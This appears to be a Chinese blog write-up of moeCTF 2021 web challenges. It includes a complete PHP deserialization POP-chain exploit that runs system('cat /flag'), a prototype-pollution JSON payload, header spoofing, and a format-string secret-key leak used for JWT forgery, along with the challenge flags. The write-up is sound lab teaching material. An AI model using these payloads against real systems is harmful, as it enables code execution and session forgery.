moectf2021-web复现


babyRCE

题目描述:

1
2
RCE, remote code execution,泛指能在远端机器上执行任意代码的情况。可是网站管理员添加了种种入侵检测,这该如何是好?
https://github.com/XDSEC/moeCTF_2021

找flag位置

读取flag,\绕过以及空格绕过

最后flag为

1
NSSCTF{274127f4-8896-4aae-8e27-f64f7a71811e}

Web安全入门指北—小饼干

题目描述:

1
2
3
在本题中,你需要学习如何发起一个HTTP请求。
随着需要构造的请求越来越复杂,希望同学们还是以代码的形式解答出这道题目
https://github.com/XDSEC/moeCTF_2021

修改cookie

最后flag为

1
NSSCTF{d8f9c2db-3a12-42bf-859a-86c4df3f2aa7}

2048

题目描述:

1
2
3
你是玩2048的高手吗~?
想想你游戏结束时你所获得的分数被作为能否获得flag的衡量标准是如何实现的?
https://github.com/XDSEC/moeCTF_2021

抓包修改分数得到flag

最后flag为

1
NSSCTF{120e0991-4c98-4fa7-9be5-0f587a1b0a23}

Web安全入门指北—GET

题目描述:

1
2
3
4
什么是HTTP呢?查一查吧 https://developer.mozilla.org/zh-CN/docs/Web/HTTP
在本题中,你需要学习如何发起一个HTTP请求。
你可以尝试使用多种工具(如Postman,Python)完成此题。
https://github.com/XDSEC/moeCTF_2021

get传参

最后flag为

1
NSSCTF{79ae9466-f43e-4236-a056-fbe809e91f60}

Web安全入门指北—POST

题目描述:

1
2
3
在本题中,你需要学习如何发起一个HTTP请求。
也许浏览器已经无法满足你的需求了。。。吗?
https://github.com/XDSEC/moeCTF_2021

post传参

1
moe=flag

unserialize

题目描述:

1
https://github.com/XDSEC/moeCTF_2021

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

class entrance
{
public $start;

function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}

class springboard
{
public $middle;

function __call($name, $arguments)
{
echo $this->middle->hs;
}
}

class evil
{
public $end;

function __construct($end)
{
$this->end = $end;
}

function __get($Attribute)
{
eval($this->end);
}
}

if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}

构造pop链子

1
evil::__get()<--springboard::__call()<--entrance::__destruct()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class entrance
{
public $start;
function __construct($start)
{
$this->start = $start;
}

function __destruct()
{
$this->start->helloworld();
}
}
class springboard
{
public $middle;

function __construct($middle)
{
$this->middle = $middle;
}

function __call($name, $arguments)
{
echo $this->middle->hs;
}
}
class evil
{
public $end;
function __construct($end)
{
$this->end = $end;
}
function __get($Attribute)
{
eval($this->end);
}
}
$a=new entrance(new springboard(new evil("system('cat /flag');")));
echo urlencode(serialize($a)).PHP_EOL;
?>

传参得到flag

最后flag为

1
NSSCTF{c11b5574-1eaa-4ee1-b15a-d83a3a4a8635}

Do you know HTTP

题目描述:

1
2
3
检查一下你的学习成果吧
仅仅学习了HTTP请求头相关内容,你可能会发现浏览器已经不足以让你便利的去解决问题了,试试burpsuite!
https://github.com/XDSEC/moeCTF_2021

抓包

1
2
3
4
5
6
7
8
9
10
HS /HTTP/1.1
Host: node5.anna.nssctf.cn:29389
User-Agent: LT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: www.ltyyds.com
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1

fake game

题目描述:

1
https://github.com/XDSEC/moeCTF_2021

原型链污染

1
{"attributes":{"health":0,"attack":0,"armor":0,"__proto__":{"health":30000,"attack":30000,"armor":30000}}}

最后flag为

1
NSSCTF{dbed731f-9e67-45fc-8cce-a77c0ccd06bf}

地狱通讯

题目描述:

1
https://github.com/XDSEC/moeCTF_2021

格式化字符串漏洞

地狱通讯-改

题目描述:

1
https://github.com/XDSEC/moeCTF_2021

思路

1
2
3
4
首先随便传个name获取初始cookie,进入hello路由,利用格式化字符串的漏洞,{0.__class__.__init__.__globals__}泄露secretkey

u_have_kn0w_what_f0rmat_i5,直接进行jwt伪造,getflag

最后flag为

1
moectf{k33p_y0ur_5ecret_k3y_Cautiously!}

文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录